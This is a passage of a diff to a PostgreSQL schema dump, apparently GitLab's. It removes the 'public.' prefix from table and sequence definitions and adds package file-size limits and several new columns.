+CREATE TABLE plan_limits (
id bigint NOT NULL,
plan_id bigint NOT NULL,
ci_active_pipelines integer DEFAULT 0 NOT NULL,
@@ -14103,19 +14356,25 @@ CREATE TABLE public.plan_limits (
ci_max_artifact_size_coverage_fuzzing integer DEFAULT 0 NOT NULL,
ci_max_artifact_size_browser_performance integer DEFAULT 0 NOT NULL,
ci_max_artifact_size_load_performance integer DEFAULT 0 NOT NULL,
- ci_needs_size_limit integer DEFAULT 50 NOT NULL
+ ci_needs_size_limit integer DEFAULT 50 NOT NULL,
+ conan_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL,
+ maven_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL,
+ npm_max_file_size bigint DEFAULT 524288000 NOT NULL,
+ nuget_max_file_size bigint DEFAULT 524288000 NOT NULL,
+ pypi_max_file_size bigint DEFAULT '3221225472'::bigint NOT NULL,
+ generic_packages_max_file_size bigint DEFAULT '5368709120'::bigint NOT NULL
);
-CREATE SEQUENCE public.plan_limits_id_seq
+CREATE SEQUENCE plan_limits_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.plan_limits_id_seq OWNED BY public.plan_limits.id;
+ALTER SEQUENCE plan_limits_id_seq OWNED BY plan_limits.id;
-CREATE TABLE public.plans (
+CREATE TABLE plans (
id integer NOT NULL,
created_at timestamp without time zone NOT NULL,
updated_at timestamp without time zone NOT NULL,
@@ -14123,16 +14382,16 @@ CREATE TABLE public.plans (
title character varying
);
-CREATE SEQUENCE public.plans_id_seq
+CREATE SEQUENCE plans_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.plans_id_seq OWNED BY public.plans.id;
+ALTER SEQUENCE plans_id_seq OWNED BY plans.id;
-CREATE TABLE public.pool_repositories (
+CREATE TABLE pool_repositories (
id bigint NOT NULL,
shard_id integer NOT NULL,
disk_path character varying,
@@ -14140,43 +14399,43 @@ CREATE TABLE public.pool_repositories (
source_project_id integer
);
-CREATE SEQUENCE public.pool_repositories_id_seq
+CREATE SEQUENCE pool_repositories_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.pool_repositories_id_seq OWNED BY public.pool_repositories.id;
+ALTER SEQUENCE pool_repositories_id_seq OWNED BY pool_repositories.id;
-CREATE TABLE public.programming_languages (
+CREATE TABLE programming_languages (
id integer NOT NULL,
name character varying NOT NULL,
color character varying NOT NULL,
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.programming_languages_id_seq
+CREATE SEQUENCE programming_languages_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.programming_languages_id_seq OWNED BY public.programming_languages.id;
+ALTER SEQUENCE programming_languages_id_seq OWNED BY programming_languages.id;
-CREATE TABLE public.project_access_tokens (
+CREATE TABLE project_access_tokens (
personal_access_token_id bigint NOT NULL,
project_id bigint NOT NULL
);
-CREATE TABLE public.project_alerting_settings (
+CREATE TABLE project_alerting_settings (
project_id integer NOT NULL,
encrypted_token character varying NOT NULL,
encrypted_token_iv character varying NOT NULL
);
-CREATE TABLE public.project_aliases (
+CREATE TABLE project_aliases (
id bigint NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL,
@@ -14184,22 +14443,22 @@ CREATE TABLE public.project_aliases (
updated_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.project_aliases_id_seq
+CREATE SEQUENCE project_aliases_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_aliases_id_seq OWNED BY public.project_aliases.id;
+ALTER SEQUENCE project_aliases_id_seq OWNED BY project_aliases.id;
-CREATE TABLE public.project_authorizations (
+CREATE TABLE project_authorizations (
user_id integer NOT NULL,
project_id integer NOT NULL,
access_level integer NOT NULL
);
-CREATE TABLE public.project_auto_devops (
+CREATE TABLE project_auto_devops (
id integer NOT NULL,
project_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -14208,16 +14467,16 @@ CREATE TABLE public.project_auto_devops (
deploy_strategy integer DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.project_auto_devops_id_seq
+CREATE SEQUENCE project_auto_devops_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_auto_devops_id_seq OWNED BY public.project_auto_devops.id;
+ALTER SEQUENCE project_auto_devops_id_seq OWNED BY project_auto_devops.id;
-CREATE TABLE public.project_ci_cd_settings (
+CREATE TABLE project_ci_cd_settings (
id integer NOT NULL,
project_id integer NOT NULL,
group_runners_enabled boolean DEFAULT true NOT NULL,
@@ -14226,30 +14485,30 @@ CREATE TABLE public.project_ci_cd_settings (
forward_deployment_enabled boolean
);
-CREATE SEQUENCE public.project_ci_cd_settings_id_seq
+CREATE SEQUENCE project_ci_cd_settings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_ci_cd_settings_id_seq OWNED BY public.project_ci_cd_settings.id;
+ALTER SEQUENCE project_ci_cd_settings_id_seq OWNED BY project_ci_cd_settings.id;
-CREATE TABLE public.project_compliance_framework_settings (
+CREATE TABLE project_compliance_framework_settings (
project_id bigint NOT NULL,
framework smallint NOT NULL
);
-CREATE SEQUENCE public.project_compliance_framework_settings_project_id_seq
+CREATE SEQUENCE project_compliance_framework_settings_project_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_compliance_framework_settings_project_id_seq OWNED BY public.project_compliance_framework_settings.project_id;
+ALTER SEQUENCE project_compliance_framework_settings_project_id_seq OWNED BY project_compliance_framework_settings.project_id;
-CREATE TABLE public.project_custom_attributes (
+CREATE TABLE project_custom_attributes (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14258,48 +14517,48 @@ CREATE TABLE public.project_custom_attributes (
value character varying NOT NULL
);
-CREATE SEQUENCE public.project_custom_attributes_id_seq
+CREATE SEQUENCE project_custom_attributes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_custom_attributes_id_seq OWNED BY public.project_custom_attributes.id;
+ALTER SEQUENCE project_custom_attributes_id_seq OWNED BY project_custom_attributes.id;
-CREATE TABLE public.project_daily_statistics (
+CREATE TABLE project_daily_statistics (
id bigint NOT NULL,
project_id integer NOT NULL,
fetch_count integer NOT NULL,
date date
);
-CREATE SEQUENCE public.project_daily_statistics_id_seq
+CREATE SEQUENCE project_daily_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_daily_statistics_id_seq OWNED BY public.project_daily_statistics.id;
+ALTER SEQUENCE project_daily_statistics_id_seq OWNED BY project_daily_statistics.id;
-CREATE TABLE public.project_deploy_tokens (
+CREATE TABLE project_deploy_tokens (
id integer NOT NULL,
project_id integer NOT NULL,
deploy_token_id integer NOT NULL,
created_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.project_deploy_tokens_id_seq
+CREATE SEQUENCE project_deploy_tokens_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_deploy_tokens_id_seq OWNED BY public.project_deploy_tokens.id;
+ALTER SEQUENCE project_deploy_tokens_id_seq OWNED BY project_deploy_tokens.id;
-CREATE TABLE public.project_error_tracking_settings (
+CREATE TABLE project_error_tracking_settings (
project_id integer NOT NULL,
enabled boolean DEFAULT false NOT NULL,
api_url character varying,
@@ -14309,7 +14568,7 @@ CREATE TABLE public.project_error_tracking_settings (
organization_name character varying
);
-CREATE TABLE public.project_export_jobs (
+CREATE TABLE project_export_jobs (
id bigint NOT NULL,
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -14318,22 +14577,22 @@ CREATE TABLE public.project_export_jobs (
jid character varying(100) NOT NULL
);
-CREATE SEQUENCE public.project_export_jobs_id_seq
+CREATE SEQUENCE project_export_jobs_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_export_jobs_id_seq OWNED BY public.project_export_jobs.id;
+ALTER SEQUENCE project_export_jobs_id_seq OWNED BY project_export_jobs.id;
-CREATE TABLE public.project_feature_usages (
+CREATE TABLE project_feature_usages (
project_id integer NOT NULL,
jira_dvcs_cloud_last_sync_at timestamp without time zone,
jira_dvcs_server_last_sync_at timestamp without time zone
);
-CREATE TABLE public.project_features (
+CREATE TABLE project_features (
id integer NOT NULL,
project_id integer NOT NULL,
merge_requests_access_level integer,
@@ -14349,16 +14608,16 @@ CREATE TABLE public.project_features (
metrics_dashboard_access_level integer
);
-CREATE SEQUENCE public.project_features_id_seq
+CREATE SEQUENCE project_features_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_features_id_seq OWNED BY public.project_features.id;
+ALTER SEQUENCE project_features_id_seq OWNED BY project_features.id;
-CREATE TABLE public.project_group_links (
+CREATE TABLE project_group_links (
id integer NOT NULL,
project_id integer NOT NULL,
group_id integer NOT NULL,
@@ -14368,16 +14627,16 @@ CREATE TABLE public.project_group_links (
expires_at date
);
-CREATE SEQUENCE public.project_group_links_id_seq
+CREATE SEQUENCE project_group_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_group_links_id_seq OWNED BY public.project_group_links.id;
+ALTER SEQUENCE project_group_links_id_seq OWNED BY project_group_links.id;
-CREATE TABLE public.project_import_data (
+CREATE TABLE project_import_data (
id integer NOT NULL,
project_id integer,
data text,
@@ -14386,16 +14645,16 @@ CREATE TABLE public.project_import_data (
encrypted_credentials_salt character varying
);
-CREATE SEQUENCE public.project_import_data_id_seq
+CREATE SEQUENCE project_import_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_import_data_id_seq OWNED BY public.project_import_data.id;
+ALTER SEQUENCE project_import_data_id_seq OWNED BY project_import_data.id;
-CREATE TABLE public.project_incident_management_settings (
+CREATE TABLE project_incident_management_settings (
project_id integer NOT NULL,
create_issue boolean DEFAULT false NOT NULL,
send_email boolean DEFAULT false NOT NULL,
@@ -14403,26 +14662,27 @@ CREATE TABLE public.project_incident_management_settings (
pagerduty_active boolean DEFAULT false NOT NULL,
encrypted_pagerduty_token bytea,
encrypted_pagerduty_token_iv bytea,
+ auto_close_incident boolean DEFAULT true NOT NULL,
CONSTRAINT pagerduty_token_iv_length_constraint CHECK ((octet_length(encrypted_pagerduty_token_iv) <= 12)),
CONSTRAINT pagerduty_token_length_constraint CHECK ((octet_length(encrypted_pagerduty_token) <= 255))
);
-CREATE SEQUENCE public.project_incident_management_settings_project_id_seq
+CREATE SEQUENCE project_incident_management_settings_project_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_incident_management_settings_project_id_seq OWNED BY public.project_incident_management_settings.project_id;
+ALTER SEQUENCE project_incident_management_settings_project_id_seq OWNED BY project_incident_management_settings.project_id;
-CREATE TABLE public.project_metrics_settings (
+CREATE TABLE project_metrics_settings (
project_id integer NOT NULL,
external_dashboard_url character varying,
dashboard_timezone smallint DEFAULT 0 NOT NULL
);
-CREATE TABLE public.project_mirror_data (
+CREATE TABLE project_mirror_data (
id integer NOT NULL,
project_id integer NOT NULL,
retry_count integer DEFAULT 0 NOT NULL,
@@ -14437,37 +14697,38 @@ CREATE TABLE public.project_mirror_data (
correlation_id_value character varying(128)
);
-CREATE SEQUENCE public.project_mirror_data_id_seq
+CREATE SEQUENCE project_mirror_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_mirror_data_id_seq OWNED BY public.project_mirror_data.id;
+ALTER SEQUENCE project_mirror_data_id_seq OWNED BY project_mirror_data.id;
-CREATE TABLE public.project_pages_metadata (
+CREATE TABLE project_pages_metadata (
project_id bigint NOT NULL,
- deployed boolean DEFAULT false NOT NULL
+ deployed boolean DEFAULT false NOT NULL,
+ artifacts_archive_id bigint
);
-CREATE TABLE public.project_repositories (
+CREATE TABLE project_repositories (
id bigint NOT NULL,
shard_id integer NOT NULL,
disk_path character varying NOT NULL,
project_id integer NOT NULL
);
-CREATE SEQUENCE public.project_repositories_id_seq
+CREATE SEQUENCE project_repositories_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_repositories_id_seq OWNED BY public.project_repositories.id;
+ALTER SEQUENCE project_repositories_id_seq OWNED BY project_repositories.id;
-CREATE TABLE public.project_repository_states (
+CREATE TABLE project_repository_states (
id integer NOT NULL,
project_id integer NOT NULL,
repository_verification_checksum bytea,
@@ -14482,16 +14743,16 @@ CREATE TABLE public.project_repository_states (
last_wiki_verification_ran_at timestamp with time zone
);
-CREATE SEQUENCE public.project_repository_states_id_seq
+CREATE SEQUENCE project_repository_states_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_repository_states_id_seq OWNED BY public.project_repository_states.id;
+ALTER SEQUENCE project_repository_states_id_seq OWNED BY project_repository_states.id;
-CREATE TABLE public.project_repository_storage_moves (
+CREATE TABLE project_repository_storage_moves (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14503,16 +14764,16 @@ CREATE TABLE public.project_repository_storage_moves (
CONSTRAINT project_repository_storage_moves_source_storage_name CHECK ((char_length(source_storage_name) <= 255))
);
-CREATE SEQUENCE public.project_repository_storage_moves_id_seq
+CREATE SEQUENCE project_repository_storage_moves_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_repository_storage_moves_id_seq OWNED BY public.project_repository_storage_moves.id;
+ALTER SEQUENCE project_repository_storage_moves_id_seq OWNED BY project_repository_storage_moves.id;
-CREATE TABLE public.project_security_settings (
+CREATE TABLE project_security_settings (
project_id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14522,16 +14783,16 @@ CREATE TABLE public.project_security_settings (
auto_fix_sast boolean DEFAULT true NOT NULL
);
-CREATE SEQUENCE public.project_security_settings_project_id_seq
+CREATE SEQUENCE project_security_settings_project_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_security_settings_project_id_seq OWNED BY public.project_security_settings.project_id;
+ALTER SEQUENCE project_security_settings_project_id_seq OWNED BY project_security_settings.project_id;
-CREATE TABLE public.project_settings (
+CREATE TABLE project_settings (
project_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14543,7 +14804,7 @@ CREATE TABLE public.project_settings (
CONSTRAINT check_bde223416c CHECK ((show_default_award_emojis IS NOT NULL))
);
-CREATE TABLE public.project_statistics (
+CREATE TABLE project_statistics (
id integer NOT NULL,
project_id integer NOT NULL,
namespace_id integer NOT NULL,
@@ -14560,16 +14821,16 @@ CREATE TABLE public.project_statistics (
pipeline_artifacts_size bigint DEFAULT 0 NOT NULL
);
-CREATE SEQUENCE public.project_statistics_id_seq
+CREATE SEQUENCE project_statistics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_statistics_id_seq OWNED BY public.project_statistics.id;
+ALTER SEQUENCE project_statistics_id_seq OWNED BY project_statistics.id;
-CREATE TABLE public.project_tracing_settings (
+CREATE TABLE project_tracing_settings (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14577,16 +14838,16 @@ CREATE TABLE public.project_tracing_settings (
external_url character varying NOT NULL
);
-CREATE SEQUENCE public.project_tracing_settings_id_seq
+CREATE SEQUENCE project_tracing_settings_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.project_tracing_settings_id_seq OWNED BY public.project_tracing_settings.id;
+ALTER SEQUENCE project_tracing_settings_id_seq OWNED BY project_tracing_settings.id;
-CREATE TABLE public.projects (
+CREATE TABLE projects (
id integer NOT NULL,
name character varying,
path character varying,
@@ -14671,16 +14932,16 @@ CREATE TABLE public.projects (
suggestion_commit_message character varying(255)
);
-CREATE SEQUENCE public.projects_id_seq
+CREATE SEQUENCE projects_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.projects_id_seq OWNED BY public.projects.id;
+ALTER SEQUENCE projects_id_seq OWNED BY projects.id;
-CREATE TABLE public.prometheus_alert_events (
+CREATE TABLE prometheus_alert_events (
id bigint NOT NULL,
project_id integer NOT NULL,
prometheus_alert_id integer NOT NULL,
@@ -14690,16 +14951,16 @@ CREATE TABLE public.prometheus_alert_events (
payload_key character varying
);
-CREATE SEQUENCE public.prometheus_alert_events_id_seq
+CREATE SEQUENCE prometheus_alert_events_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.prometheus_alert_events_id_seq OWNED BY public.prometheus_alert_events.id;
+ALTER SEQUENCE prometheus_alert_events_id_seq OWNED BY prometheus_alert_events.id;
-CREATE TABLE public.prometheus_alerts (
+CREATE TABLE prometheus_alerts (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14712,16 +14973,16 @@ CREATE TABLE public.prometheus_alerts (
CONSTRAINT check_cb76d7e629 CHECK ((char_length(runbook_url) <= 255))
);
-CREATE SEQUENCE public.prometheus_alerts_id_seq
+CREATE SEQUENCE prometheus_alerts_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.prometheus_alerts_id_seq OWNED BY public.prometheus_alerts.id;
+ALTER SEQUENCE prometheus_alerts_id_seq OWNED BY prometheus_alerts.id;
-CREATE TABLE public.prometheus_metrics (
+CREATE TABLE prometheus_metrics (
id integer NOT NULL,
project_id integer,
title character varying NOT NULL,
@@ -14738,16 +14999,16 @@ CREATE TABLE public.prometheus_metrics (
CONSTRAINT check_0ad9f01463 CHECK ((char_length(dashboard_path) <= 2048))
);
-CREATE SEQUENCE public.prometheus_metrics_id_seq
+CREATE SEQUENCE prometheus_metrics_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.prometheus_metrics_id_seq OWNED BY public.prometheus_metrics.id;
+ALTER SEQUENCE prometheus_metrics_id_seq OWNED BY prometheus_metrics.id;
-CREATE TABLE public.protected_branch_merge_access_levels (
+CREATE TABLE protected_branch_merge_access_levels (
id integer NOT NULL,
protected_branch_id integer NOT NULL,
access_level integer DEFAULT 40,
@@ -14757,16 +15018,16 @@ CREATE TABLE public.protected_branch_merge_access_levels (
group_id integer
);
-CREATE SEQUENCE public.protected_branch_merge_access_levels_id_seq
+CREATE SEQUENCE protected_branch_merge_access_levels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_branch_merge_access_levels_id_seq OWNED BY public.protected_branch_merge_access_levels.id;
+ALTER SEQUENCE protected_branch_merge_access_levels_id_seq OWNED BY protected_branch_merge_access_levels.id;
-CREATE TABLE public.protected_branch_push_access_levels (
+CREATE TABLE protected_branch_push_access_levels (
id integer NOT NULL,
protected_branch_id integer NOT NULL,
access_level integer DEFAULT 40,
@@ -14777,16 +15038,16 @@ CREATE TABLE public.protected_branch_push_access_levels (
deploy_key_id integer
);
-CREATE SEQUENCE public.protected_branch_push_access_levels_id_seq
+CREATE SEQUENCE protected_branch_push_access_levels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_branch_push_access_levels_id_seq OWNED BY public.protected_branch_push_access_levels.id;
+ALTER SEQUENCE protected_branch_push_access_levels_id_seq OWNED BY protected_branch_push_access_levels.id;
-CREATE TABLE public.protected_branch_unprotect_access_levels (
+CREATE TABLE protected_branch_unprotect_access_levels (
id integer NOT NULL,
protected_branch_id integer NOT NULL,
access_level integer DEFAULT 40,
@@ -14794,16 +15055,16 @@ CREATE TABLE public.protected_branch_unprotect_access_levels (
group_id integer
);
-CREATE SEQUENCE public.protected_branch_unprotect_access_levels_id_seq
+CREATE SEQUENCE protected_branch_unprotect_access_levels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_branch_unprotect_access_levels_id_seq OWNED BY public.protected_branch_unprotect_access_levels.id;
+ALTER SEQUENCE protected_branch_unprotect_access_levels_id_seq OWNED BY protected_branch_unprotect_access_levels.id;
-CREATE TABLE public.protected_branches (
+CREATE TABLE protected_branches (
id integer NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL,
@@ -14812,16 +15073,16 @@ CREATE TABLE public.protected_branches (
code_owner_approval_required boolean DEFAULT false NOT NULL
);
-CREATE SEQUENCE public.protected_branches_id_seq
+CREATE SEQUENCE protected_branches_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_branches_id_seq OWNED BY public.protected_branches.id;
+ALTER SEQUENCE protected_branches_id_seq OWNED BY protected_branches.id;
-CREATE TABLE public.protected_environment_deploy_access_levels (
+CREATE TABLE protected_environment_deploy_access_levels (
id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14831,16 +15092,16 @@ CREATE TABLE public.protected_environment_deploy_access_levels (
group_id integer
);
-CREATE SEQUENCE public.protected_environment_deploy_access_levels_id_seq
+CREATE SEQUENCE protected_environment_deploy_access_levels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_environment_deploy_access_levels_id_seq OWNED BY public.protected_environment_deploy_access_levels.id;
+ALTER SEQUENCE protected_environment_deploy_access_levels_id_seq OWNED BY protected_environment_deploy_access_levels.id;
-CREATE TABLE public.protected_environments (
+CREATE TABLE protected_environments (
id integer NOT NULL,
project_id integer NOT NULL,
created_at timestamp with time zone NOT NULL,
@@ -14848,16 +15109,16 @@ CREATE TABLE public.protected_environments (
name character varying NOT NULL
);
-CREATE SEQUENCE public.protected_environments_id_seq
+CREATE SEQUENCE protected_environments_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_environments_id_seq OWNED BY public.protected_environments.id;
+ALTER SEQUENCE protected_environments_id_seq OWNED BY protected_environments.id;
-CREATE TABLE public.protected_tag_create_access_levels (
+CREATE TABLE protected_tag_create_access_levels (
id integer NOT NULL,
protected_tag_id integer NOT NULL,
access_level integer DEFAULT 40,
@@ -14867,16 +15128,16 @@ CREATE TABLE public.protected_tag_create_access_levels (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.protected_tag_create_access_levels_id_seq
+CREATE SEQUENCE protected_tag_create_access_levels_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_tag_create_access_levels_id_seq OWNED BY public.protected_tag_create_access_levels.id;
+ALTER SEQUENCE protected_tag_create_access_levels_id_seq OWNED BY protected_tag_create_access_levels.id;
-CREATE TABLE public.protected_tags (
+CREATE TABLE protected_tags (
id integer NOT NULL,
project_id integer NOT NULL,
name character varying NOT NULL,
@@ -14884,16 +15145,16 @@ CREATE TABLE public.protected_tags (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.protected_tags_id_seq
+CREATE SEQUENCE protected_tags_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.protected_tags_id_seq OWNED BY public.protected_tags.id;
+ALTER SEQUENCE protected_tags_id_seq OWNED BY protected_tags.id;
-CREATE TABLE public.push_event_payloads (
+CREATE TABLE push_event_payloads (
commit_count bigint NOT NULL,
event_id integer NOT NULL,
action smallint NOT NULL,
@@ -14905,7 +15166,7 @@ CREATE TABLE public.push_event_payloads (
ref_count integer
);
-CREATE TABLE public.push_rules (
+CREATE TABLE push_rules (
id integer NOT NULL,
force_push_regex character varying,
delete_branch_regex character varying,
@@ -14927,16 +15188,16 @@ CREATE TABLE public.push_rules (
commit_message_negative_regex character varying
);
-CREATE SEQUENCE public.push_rules_id_seq
+CREATE SEQUENCE push_rules_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.push_rules_id_seq OWNED BY public.push_rules.id;
+ALTER SEQUENCE push_rules_id_seq OWNED BY push_rules.id;
-CREATE TABLE public.raw_usage_data (
+CREATE TABLE raw_usage_data (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -14945,16 +15206,16 @@ CREATE TABLE public.raw_usage_data (
payload jsonb NOT NULL
);
-CREATE SEQUENCE public.raw_usage_data_id_seq
+CREATE SEQUENCE raw_usage_data_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.raw_usage_data_id_seq OWNED BY public.raw_usage_data.id;
+ALTER SEQUENCE raw_usage_data_id_seq OWNED BY raw_usage_data.id;
-CREATE TABLE public.redirect_routes (
+CREATE TABLE redirect_routes (
id integer NOT NULL,
source_id integer NOT NULL,
source_type character varying NOT NULL,
@@ -14963,16 +15224,16 @@ CREATE TABLE public.redirect_routes (
updated_at timestamp without time zone NOT NULL
);
-CREATE SEQUENCE public.redirect_routes_id_seq
+CREATE SEQUENCE redirect_routes_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.redirect_routes_id_seq OWNED BY public.redirect_routes.id;
+ALTER SEQUENCE redirect_routes_id_seq OWNED BY redirect_routes.id;
-CREATE TABLE public.release_links (
+CREATE TABLE release_links (
id bigint NOT NULL,
release_id integer NOT NULL,
url character varying NOT NULL,
@@ -14983,16 +15244,16 @@ CREATE TABLE public.release_links (
link_type smallint DEFAULT 0
);
-CREATE SEQUENCE public.release_links_id_seq
+CREATE SEQUENCE release_links_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.release_links_id_seq OWNED BY public.release_links.id;
+ALTER SEQUENCE release_links_id_seq OWNED BY release_links.id;
-CREATE TABLE public.releases (
+CREATE TABLE releases (
id integer NOT NULL,
tag character varying,
description text,
@@ -15007,16 +15268,16 @@ CREATE TABLE public.releases (
released_at timestamp with time zone NOT NULL
);
-CREATE SEQUENCE public.releases_id_seq
+CREATE SEQUENCE releases_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.releases_id_seq OWNED BY public.releases.id;
+ALTER SEQUENCE releases_id_seq OWNED BY releases.id;
-CREATE TABLE public.remote_mirrors (
+CREATE TABLE remote_mirrors (
id integer NOT NULL,
project_id integer,
url character varying,
@@ -15037,22 +15298,22 @@ CREATE TABLE public.remote_mirrors (
keep_divergent_refs boolean
);
-CREATE SEQUENCE public.remote_mirrors_id_seq
+CREATE SEQUENCE remote_mirrors_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.remote_mirrors_id_seq OWNED BY public.remote_mirrors.id;
+ALTER SEQUENCE remote_mirrors_id_seq OWNED BY remote_mirrors.id;
-CREATE TABLE public.repository_languages (
+CREATE TABLE repository_languages (
project_id integer NOT NULL,
programming_language_id integer NOT NULL,
share double precision NOT NULL
);
-CREATE TABLE public.requirements (
+CREATE TABLE requirements (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
updated_at timestamp with time zone NOT NULL,
@@ -15065,35 +15326,34 @@ CREATE TABLE public.requirements (
title_html text
);
-CREATE SEQUENCE public.requirements_id_seq
+CREATE SEQUENCE requirements_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
-ALTER SEQUENCE public.requirements_id_seq OWNED BY public.requirements.id;
+ALTER SEQUENCE requirements_id_seq OWNED BY requirements.id;
-CREATE TABLE public.requirements_management_test_reports (
+CREATE TABLE requirements_management_test_reports (
id bigint NOT NULL,
created_at timestamp with time zone NOT NULL,
requirement_id bigint NOT NULL,
- pipeline_id bigint,
author_id bigint,
state smallint NOT NULL,
build_id bigint
);
-CREATE SEQUENCE public.requirements_management_test_reports_id_seq
+CREATE SEQUENCE requirements_management_test_reports_id_seq
START WITH 1
INCREMENT BY 1
NO MINVALUE
NO MAXVALUE
CACHE 1;
